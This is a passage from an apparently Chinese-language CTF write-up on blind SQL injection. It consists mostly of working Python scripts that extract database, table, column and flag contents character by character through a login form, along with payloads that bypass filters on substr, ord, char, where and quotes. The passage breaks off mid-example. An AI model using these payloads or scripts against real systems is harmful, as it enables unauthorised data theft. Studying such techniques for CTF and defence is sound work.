            mid = (max+min)>>1  #(max + min) >> 1 通过位移运算实现整数的二分,计算出 max 和 min 的中间值
            if(min == mid):  #当 min 等于 mid 时,说明二分查找已经收敛,找到了该字符的 ASCII 值
                flag += chr(mid) #从下面的返回结果进行判断逐步进行二分确定 flag 的字符
                print(flag)
                break
            #payload = "admin'and (ascii (substr ((select database ()),{},1))<{})#".format (i,mid) #获取数据库名,单引号闭合 admin'
            #ctfshow_web
            #payload = "admin'and (ascii (substr ((select group_concat (table_name) from information_schema.tables where table_schema=database ()),{},1))<{})#".format (i,mid) #获取表名
            #ctfshow_fl0g
            #payload = "admin'and (ascii (substr ((select group_concat (column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format (i,mid) #获取字段名
            #id,f1ag
            payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)  #得到 flag
            data = {
                "username":payload,
                "password":0,
            }
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                max = mid
            else:
                min = mid
  2. 若 2 中 ord、hex 都被过滤了,通过转数值的方式不能用了,不过 substr 还可以用

    import requests
    import sys
    import time
    url = "http://da148d3a-ee33-4c6d-a705-6814e006da74.challenge.ctf.show/api/"
    flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
    flag = ""
    for i in range(1,60):
        for mid in flagstr:
            #payload = "admin'and ((substr((select database()),{},1)='{}'))#".format(i,mid)
            #ctfshow_web
            #payload = "admin'and ((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,mid)
            #ctfshow_fl0g
            #payload = "admin'and ((substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}'))#".format(i,mid)
            #id,f1ag
            payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)
            data = {
                "username":payload,
                "password":0,
            }
            #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                flag += mid
                print("++++++++++++++++++++"+flag)
                break

    import requests
    import sys
    import time
    import string
    url = "http://de2f8a85-2cd6-41b6-8fc2-a126a390adbd.challenge.ctf.show/api/"
    flag = ""
    for i in range(1,60):
        max = 127
        min = 32
        while 1:
            mid = (max+min)>>1
            if(min == mid):
                flag += chr(mid)
                print(flag.lower())
                break
            payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)<CHAR({})))#".format(i,mid)
            #print(payload)
            data = {
                "username":payload,
                "password":0,
            }
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                max = mid
            else:
                min = mid
  3. 若 ord、hex、substr 也被过滤,可以用 leftright

    left()返回具有指定长度的字符串的左边部分。
    left(string,length):length:想要截取的长度
    right()返回具有指定长度的字符串的右边部分,用法同上

    可以用 format 传数字作为 length

    import requests
    import sys
    import time
    url = "http://077c3f46-7703-4fa9-8cfb-247c985473b3.challenge.ctf.show/api/"
    flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
    tempstr = ""
    flag = ""
    for i in range(1,60):
        for mid in flagstr:
            #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
            #ctfshow_web
            #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
            #ctfshow_flxg
            #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
            #id,f1ag
            payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)
            data = {
                "username":payload,
                "password":0,
            }
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                tempstr += mid
                flag += mid
                print("++++++++++++++++++++"+flag)
                break
  4. 若 left、right、substring、char 都被过滤,那么用 lpad()

    lpad(str,len,padstr)
    #lpad () 函数返回字符串 str,len 小于字符串长度相当于字符串截取;
    #大于字符串长度,则在【左填充】用字符串 padstr 直到达到 len 字符长度
    rpad(str,len,padstr) #右填充
    #大于字符串长度,则在【右填充】用字符串 padstr 直到达到 len 字符长度
    import requests
    import sys
    import time
    url = "http://8be98a09-12b0-4f66-807f-899826d58216.challenge.ctf.show/api/"
    flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
    tempstr = ""
    flag = ""
    for i in range(1,60):
        for mid in flagstr:
            #payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,tempstr+mid)
            #ctfshow_web
            #payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,tempstr+mid)
            #ctfshow_flxg
            #payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,tempstr+mid)
            #id,f1ag
            payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)
            data = {
                "username":payload,
                "password":0,
            }
            res = requests.post(url = url,data =data)
            time.sleep(0.3)
            if res.text.find("8bef")>0:
                tempstr += mid
                flag += mid
                print("++++++++++++++++++++"+flag)
                break
  5. mid函数 ,功能和 substr 函数

    admin' and mid(database(),1,1)='c
    admin' and mid((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),1,1)='c
    admin' and mid((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,1)='c
    admin' and mid((select 字段名 from 表名),1,1)='c

# 5. 绕过 where 过滤:

  • 利用 having 替换,但是 having 要满足语法条件:

    select 字段名 from 表名 where 字段名="xxxx"
    #替换
    select 字段名 from 表名 group by 字段名 having 字段名="xxxx"
    /* 一个 HAVING 子句必须位于 GROUP BY 子句之后,并位于 ORDER BY 子句之前 */

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250113194500639.png" alt="image-20250113194500639" style="zoom:80%;" />

# 6. 绕过单、双引号过滤

利用 十六进制 替换 (将匹配的字符串转十六进制,前面要有 0x, 这样就可以不需要单、双引号)

把单、双引号过滤绕过:

select 字段名 from 表名 where 字段名 like "ctfshow
此文章已被阅读次数:正在加载...更新于